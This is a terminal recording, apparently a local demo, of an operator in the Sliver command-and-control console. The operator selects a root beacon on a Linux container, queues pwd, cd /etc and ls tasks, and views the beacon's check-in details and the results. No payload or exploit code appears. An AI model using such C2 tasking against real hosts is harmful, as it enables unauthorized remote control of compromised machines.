[7.702976, "o", "\u001b[13D\u001b[9C"]
[7.704889, "o", "\u001b[6n"]
[7.70799, "o", "\u001b[107D"]
[7.708825, "o", "\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
[7.71392, "o", "\u001b[0 q"]
[7.715073, "o", "\r\n"]
[7.754419, "o", "\u001b7\u001b[?25l"]
[7.755692, "o", "\u001b8\u001b[0G\u001b[2K"]
[7.767926, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> BEACON 1c2fd3e4 CONTINUING_DOWNTOWN 127.0.0.1:60476 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON 336eb77f CONTINUING_DOWNTOWN 127.0.0.1:60442 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON dd8121c1 CONTINUING_DOWNTOWN 127.0.0.1:60460 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
[7.771409, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[7.771878, "o", "\u001b[1A\u001b[0G"]
[11.070565, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[11.071419, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m BEACON 1c2fd3e4 CONTINUING_DOWNTOWN 127.0.0.1:60476 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[11.079814, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive beacon CONTINUING_DOWNTOWN (1c2fd3e4-045b-445c-9cbc-7c955a42710c)\r\n"]
[11.130002, "o", "\r\n"]
[11.141528, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[11.141978, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[11.143698, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[12.218211, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l"]
[12.218731, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[12.224874, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.22569, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[13.32985, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[13.345968, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[13.347979, "o", "\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[13.488396, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[13.489622, "o", "\u001b[6n"]
[13.493719, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[13.580168, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[13.580976, "o", "\u001b[6n"]
[13.59193, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[13.593041, "o", "\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[13.755221, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[13.757586, "o", "\u001b[6n"]
[13.767033, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[13.797975, "o", "\u001b[?25l"]
[13.798407, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[13.801808, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[14.330079, "o", "\u001b[36D\u001b[31C\u001b[6n"]
[14.339172, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
[14.339882, "o", "\u001b[0 q\r\n"]
[14.374826, "o", " ID State Message Type Created Sent Completed \r\n==== ======= ============== ========= ====== ===========\r\n"]
[14.37569, "o", "\r\n\r\n"]
[14.389895, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[14.390054, "o", "\u001b[1 q"]
[14.391627, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[14.393573, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[14.394075, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[15.74266, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[15.752601, "o", "\u001b[6n"]
[15.756241, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[15.75659, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[16.027773, "o", "\u001b[?25l\u001b[107D"]
[16.030576, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[16.037738, "o", "pw\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[16.107478, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[16.111582, "o", "\u001b[1m\u001b[32mpwd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[16.219819, "o", "\u001b[34D\u001b[31C"]
[16.220708, "o", "\u001b[6n"]
[16.225655, "o", "\u001b[107D\u001b[34C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[16.247539, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (3b339091)\r\n"]
[16.248147, "o", "\r\n"]
[16.262404, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[16.262572, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
[16.263191, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[16.265419, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[17.822584, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[17.833168, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[17.885083, "o", "\u001b[?25l"]
[17.886723, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[17.890018, "o", "\u001b[1m\u001b[32mcd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[17.890688, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[17.965664, "o", "\u001b[?25l"]
[17.966478, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[17.96914, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C"]
[17.969649, "o", "\u001b[?25h"]
[18.307966, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[18.318102, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[18.319213, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[18.428329, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[18.433563, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[18.434378, "o", "\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[18.530772, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[18.540775, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/et\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[18.54121, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
[18.793708, "o", "\u001b[?25l"]
[18.795666, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[18.801623, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/etc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
[19.801765, "o", "\u001b[38D\u001b[31C\u001b[6n"]
[19.817067, "o", "\u001b[107D\u001b[38C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[19.846176, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (415074fa)\r\n"]
[19.847431, "o", "\r\n"]
[19.85978, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[19.860582, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[19.862153, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[19.862699, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[20.855063, "o", "\u001b[?25l"]
[20.858059, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[20.858829, "o", "\u001b[6n"]
[20.863938, "o", "l\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D"]
[20.865159, "o", "\u001b[32C\u001b[?25h"]
[21.092764, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[21.104102, "o", "\u001b[1m\u001b[32mls\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[21.10599, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[21.410436, "o", "\u001b[33D\u001b[31C"]
[21.412152, "o", "\u001b[6n"]
[21.418941, "o", "\u001b[107D\u001b[33C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[21.45684, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (3fb0a3ef)\r\n"]
[21.457058, "o", "\r\n"]
[21.469921, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[21.470439, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[21.471969, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[23.698776, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[23.706583, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[23.713233, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[24.204711, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[24.215048, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[24.216192, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[24.385819, "o", "\u001b[?25l"]
[24.387265, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[24.392423, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[24.432631, "o", "\u001b[?25l\u001b[107D"]
[24.43278, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[24.435163, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[24.634834, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[24.645885, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[24.647113, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[24.762501, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[24.762693, "o", "\u001b[6n"]
[24.764901, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D"]
[24.765428, "o", "\u001b[36C\u001b[?25h"]
[25.083701, "o", "\u001b[36D\u001b[31C\u001b[6n"]
[25.088072, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
[25.089524, "o", "\u001b[0 q\r\n"]
[25.117898, "o", " ID State Message Type Created Sent Completed \r\n========== ========= ============== =============================== =============================== ===============================\r\n"]
[25.119642, "o", " 3fb0a3ef \u001b[1mpending\u001b[0m Ls Wed, 01 May 2024 18:59:46 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n 415074fa \u001b[1mpending\u001b[0m Cd Wed, 01 May 2024 18:59:44 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n 3b339091 \u001b[1mpending\u001b[0m Pwd Wed, 01 May 2024 18:59:41 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n\r\n\r\n"]
[25.139008, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[25.139159, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[25.139852, "o", "\u001b[6n"]
[25.142048, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[25.143009, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[30.994088, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[30.995627, "o", "\u001b[6n"]
[31.00773, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[31.00882, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[31.074793, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[31.075559, "o", "\u001b[6n"]
[31.078638, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[31.079039, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[31.222549, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[31.230427, "o", "inf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[31.231631, "o", "\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[31.311545, "o", "\u001b[?25l"]
[31.31489, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[31.320102, "o", "\u001b[1m\u001b[32minfo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[31.321808, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[31.68305, "o", "\u001b[35D\u001b[31C"]
[31.688619, "o", "\u001b[6n"]
[31.698806, "o", "\u001b[107D\u001b[35C\u001b[0J\u001b[107D\r\r\n"]
[31.699018, "o", "\u001b[0 q\r\n"]
[31.729734, "o", "\u001b[1m Beacon ID: \u001b[0m1c2fd3e4-045b-445c-9cbc-7c955a42710c\r\n"]
[31.730149, "o", "\u001b[1m Name: \u001b[0mCONTINUING_DOWNTOWN\r\n\u001b[1m Hostname: \u001b[0m98df0494f659\r\n"]
[31.733905, "o", "\u001b[1m UUID: \u001b[0m3424b72e-e104-e99b-e183-dc60a7b751a0\r\n\u001b[1m Username: \u001b[0mroot\r\n\u001b[1m UID: \u001b[0m0\r\n\u001b[1m GID: \u001b[0m0\r\n\u001b[1m PID: \u001b[0m19246\r\n\u001b[1m OS: \u001b[0mlinux\r\n\u001b[1m Version: \u001b[0mLinux 98df0494f659 5.10.76-linuxkit\r\n\u001b[1m Locale: \u001b[0m\r\n\u001b[1m Arch: \u001b[0mamd64\r\n\u001b[1m Active C2: \u001b[0mhttps://localhost\r\n\u001b[1m Remote Address: \u001b[0m127.0.0.1:60476\r\n\u001b[1m Proxy URL: \u001b[0m\r\n"]
[31.7359, "o", "\u001b[1m Interval: \u001b[0m15s\r\n\u001b[1m Jitter: \u001b[0m30s\r\n\u001b[1m First Contact: \u001b[0mWed May 1 18:59:29 UTC 2024 (28s ago)\r\n\u001b[1m Last Checkin: \u001b[0mWed May 1 18:59:30 UTC 2024 (27s ago)\r\n\u001b[1m Next Checkin: \u001b[0m\u001b[1m\u001b[31mWed May 1 18:59:47 UTC 2024 (10s ago)\u001b[0m\r\n\r\n"]
[31.840928, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[31.841133, "o", "\u001b[6n"]
[31.843164, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.421086, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 3b339091\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.421814, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[41.423966, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.425137, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.428631, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.428722, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.429504, "o", "\u001b[6n"]
[41.430967, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[41.431046, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.431653, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/root\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.432393, "o", "\u001b[6n"]
[41.43396, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.438188, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 415074fa\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[41.439906, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.443023, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.443652, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.443751, "o", "\u001b[6n"]
[41.445692, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.445832, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/etc\r\n\r\n\r\n"]
[41.446073, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[41.447912, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.451528, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 3fb0a3ef\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.452034, "o", "\u001b[6n"]
[41.454093, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D"]
[41.455191, "o", "\u001b[31C\u001b[?25h"]
[41.459438, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.459575, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.459998, "o", "\u001b[6n"]
[41.461618, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[41.461799, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.46353, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J/etc (81 items, 260.8 KiB)\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
